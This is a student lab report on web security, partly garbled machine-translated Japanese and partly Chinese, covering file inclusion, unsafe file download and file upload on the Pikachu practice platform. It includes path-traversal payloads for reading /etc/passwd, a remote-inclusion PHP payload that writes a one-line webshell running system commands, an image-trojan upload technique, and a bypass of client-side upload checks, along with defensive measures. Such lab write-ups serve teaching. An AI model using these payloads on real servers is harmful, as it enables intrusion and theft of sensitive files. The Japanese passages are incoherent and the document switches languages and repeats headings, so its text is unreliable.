Webセキュリティ

実験報告

実験4

ファイルが含ま

学生の名前	火6月オーストリア
年	2017
地区チーム	実験クラス
インストラクター	あなたの意見

1.概要

1.1はじめに

Web開発における背景には、効率を改善し、コードよりシンプルな外観を作る、使用するためには、多くの場合、プログラマ の機能は、「を含む」機能を。例えば、一連の関数がfunction.phpで書かれた関数は、ファイルの後にあなたが直接ファイルにヘッダに書かれて呼び出す必要があるとき、<？PHPはfunction.phpが含まれていますか？>あなたは、関数を呼び出すことができます。

しかし、時には、サイトの機能要件ので、フロントエンドユーザが所望のファイルが含まれている選択します（または使用するフロント・エンドの機能で機能「が含まれる」）、および開発者がいるので、安全性は、この文書に含まれるように考慮していなかった、につながっています攻撃者が任意のファイルは、ファイルの場所を変更することにより、バックグラウンド（コード）を可能に実行することができます。

ローカルファイルには含まれてい と 、リモートのファイルが含まれている 2種類。

1.2。関数を含みます

（）または（）が必要です 文を、コンテンツが（それを実行する前に、サーバー上の）別のPHPファイルにPHPファイルにすることができます

含めるとエラー処理を除いて同一である必要です。

致命的なエラー（E_COMPILE_ERROR）および停止スクリプトを生成し、必要
警告のみ（E_WARNING）を含み、およびスクリプトが続行されます

2.ローカルファイルを--fileインクルージョンが含まれている（ローカル）

テストプラットフォームのピカチュウに含まれるローカルファイルをしてみましょう

あなたは、ファイル名が背景に渡され、背景が操作に対応する指定された対象ファイルになります見ることができます（これらのファイルは、独自の存在ファイルの背景です）

如果目标服务器在 Linux 上，我们可以 “../” 的方式进行目录跳转，读取其他目录下的文件，比如 /etc/passwd

../../../../../../../../etc/passwd

Windows 也可以用类似的方式

../../../../Windows/System32/drivers/etc/hosts

File Inclusion（remote）

3.远程文件包含

前提

远程文件包含漏洞形式和本地文件包含漏洞差不多，在远程文件包含漏洞中，攻击者可以通过访问外部地址来加载远程代码

远程包含漏洞前提：如果使用 includer 和 require ，则需要 php.ini 配置如下

allow_url_fopen = on
allow_url_include = on

远程文件包含这里，同样是通过传递一个文件名进行包含的

我们把它改成一个攻击者服务器上的恶意代码。

新建一个 richard.txt，输入下面的内容，启动 apache 服务

<?php
$myfile = fopen("kevin.php", "w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile, $txt);
fclose($myfile);

?>

这时候我们就可以利用我们上传的 php 文件进行相关的操作

防范措施

一般只有文件包含漏洞或者文件上传漏洞是比较难利用的。但如果存在着两个漏洞则可以配合使用。

如果服务器仅仅只允许上传图片，我们可以尝试用图片木马的方式绕过检查机制

制作一个图片木马，通过文件上传漏洞上传
通过文件包含漏洞对该图片木马进行“包含”
获取执行结果

防范措施

在功能设计上尽量不要将文件包含函数对应的文件放给前端选择和操作
过滤各种 ../../，http://，https://
配置 php.ini 配置文件
- allow_url_fopen = off
- allow_url_include = off
- magic_quotes_gpc = on
通过白名单策略，仅允许包含运行指定的文件，其他的都禁止
二：文件下载

不安全的文件下载概述文件下载功能在很多web系统上都会出现，一般我们当点击下载链接，便会向后台发送一个下载请求，一般这个请求会包含一个需要下载的文件名称，后台在收到请求后会开始执行下载代码，将该文件名对应的文件response给浏览器，从而完成下载。如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话，则可能会引发不安全的文件下载漏洞。
此时如果攻击者提交的不是一个程序预期的的文件名，而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。从而导致后台敏感信息(密码文件、源代码等)被下载。所以，在设计文件下载功能时，如果下载的目标文件是由前端传进来的，则一定要对传进来的文件进行安全考虑。切记：所有与前端交互的数据都是不安全的。
点击任意一个图片即可下载
查看下载图片链接
在文件里存入一个hello.txt
故可构造和文件包含一样的payload

127.0.0.1:10000/pikachu/vul/unsafedownload/execdownload.php?filename=hello.txt

文件即可成功下载：
文件上传

不安全的文件上传漏洞概述文件上传功能在web应用系统很常见，比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后，后台会对上传的文件进行判断比如是否是指定的类型、后缀名、大小等等，然后将其按照设计的格式进行重命名后存储在指定的目录。如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨，则攻击着可能会上传一些恶意的文件，比如一句话木马，从而导致后台服务器被webshell。所以，在设计文件上传功能时，一定要对传进来的文件进行严格的安全考虑。比如：
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;

1.client check
显示只能上传图片

首先尝试随便上传一个文件hello.php,发现网页拒绝上传

开始观察前端
前端做的限制只是辅助作用，是可以绕过的。可以先将php文件后缀改成jpg，通过前端验证后把数据包拦截下来，修改成php再上传。
先将test.php改名成test.jpg成功通过前端验证并拦截：
再将test.jpg修改成test.php并forward

成功上传
2.MIME type

ピカチュウ - ファイルが含ま

1.概要

1.1はじめに

1.2。関数を含みます

2.ローカルファイルを--fileインクルージョンが含まれている（ローカル）

3.远程文件包含

おすすめ